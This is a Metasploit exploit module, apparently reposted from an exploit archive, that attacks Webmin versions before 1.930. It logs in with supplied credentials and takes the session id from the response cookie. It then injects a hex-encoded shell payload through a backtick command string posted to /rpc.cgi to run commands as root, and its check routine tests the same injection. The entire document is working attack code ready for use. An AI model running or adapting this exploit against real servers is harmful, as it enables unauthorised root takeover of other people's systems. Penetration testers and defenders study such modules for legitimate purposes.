Share
##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Webmin < 1.930 Remote Code Execution",  
'Description' => %q{  
This exploit takes advantage of a code execution issue within the function   
unserialise_variable() located in web-lib-funcs.pl, in order to gain root.  
The only prerequisite is a valid session id.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'James Bercegay', # Vulnerability Discovery  
],  
'References' =>  
[  
[ 'URL', 'https://www.gulftech.org/' ]  
],  
'Privileged' => false,  
'Payload' =>  
{  
'DisableNops' => true  
},  
'Platform' => ['unix'],  
'Arch' => ARCH_CMD,  
'Targets' => [ ['Automatic', {}] ],  
'DisclosureDate' => '2019/08/30',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('WMPORT', [ true, "Webmin port", '10000']),  
OptString.new('WMUSER', [ true, "Webmin username", 'test']),  
OptString.new('WMPASS', [ true, "Webmin password", 'test']),  
])  
end  
  
def check  
  
# Set Webmin port  
datastore['RPORT'] = datastore['WMPORT']  
  
# Verbose  
print_status("Attempting to login")  
  
# Send login request  
res = send_request_cgi(  
{  
'uri' => '/session_login.cgi',  
'method' => 'POST',  
'vars_post' =>  
{  
'user' => datastore['WMUSER'],  
'pass' => datastore['WMPASS'],  
'save' => '1'  
},  
'cookie' => "redirect=1; testing=1; sessiontest=1;"  
})  
  
# If succesful cookie will be set  
if ( res and res.headers['Set-Cookie'] )  
# Do we have a valid SID?  
if ( /sid=/.match(res.headers['Set-Cookie']) )  
# Extract the SID  
sid = /sid=([a-z0-9]+);/.match(res.headers['Set-Cookie'])[1]  
print_good("Login was successful")  
else  
# No dice  
print_bad("Unable to login")  
return Exploit::CheckCode::Safe  
end  
else  
# No dice  
print_bad("Unexpected response")  
return Exploit::CheckCode::Safe  
end  
  
# Verbose  
print_status("Checking if host is vulnerable")  
  
# Try to execute arbitrary code  
res = send_request_cgi({  
'uri' => '/rpc.cgi',  
'method' => 'POST',  
'headers' =>   
{  
'Referer' => 'http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s  
},  
'data' => 'OBJECT CGI;print "Content-Type: text/metasploit\n\n"',  
'cookie' => 'redirect=1; testing=1; sessiontest=1; sid=' + sid  
})  
  
# If it works our custom Content-Type will be set  
if ( res.headers['Content-Type'] and res.headers['Content-Type'] == "text/metasploit" )  
# Good  
return Exploit::CheckCode::Vulnerable  
else  
# Bad  
return Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
  
# Set Webmin port  
datastore['RPORT'] = datastore['WMPORT']  
  
# Verbose  
print_status("Attempting to login")  
  
# Send login request  
res = send_request_cgi(  
{  
'uri' => '/session_login.cgi',  
'method' => 'POST',  
'vars_post' =>  
{  
'user' => datastore['WMUSER'],  
'pass' => datastore['WMPASS'],  
'save' => '1'  
},  
'cookie' => "redirect=1; testing=1; sessiontest=1;"  
})  
  
# If succesful cookie will be set  
if ( res and res.headers['Set-Cookie'] )  
# Do we have a valid SID?  
if ( /sid=/.match(res.headers['Set-Cookie']) )  
# Extract the SID  
sid = /sid=([a-z0-9]+);/.match(res.headers['Set-Cookie'])[1]  
print_good("Login was successful")  
else  
# No dice  
print_bad("Unable to login")  
return  
end  
else  
# No dice  
print_bad("Unexpected response")  
return  
end  
  
# Verbose  
print_status("Sending selected payload")  
  
# Hex encode payload to prevent problems with the payload getting mangled  
hex = '\x' + payload.encoded.scan(/./).map{ |x| x.unpack('H*') }.join('\x')  
  
# Send selected payload  
res = send_request_cgi({  
'uri' => '/rpc.cgi',  
'method' => 'POST',  
'headers' =>   
{  
'Referer' => 'https://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s  
},  
'data' => 'OBJECT CGI;`' + hex + '`',  
'cookie' => 'redirect=1; testing=1; sessiontest=1; sid=' + sid  
})  
end  
end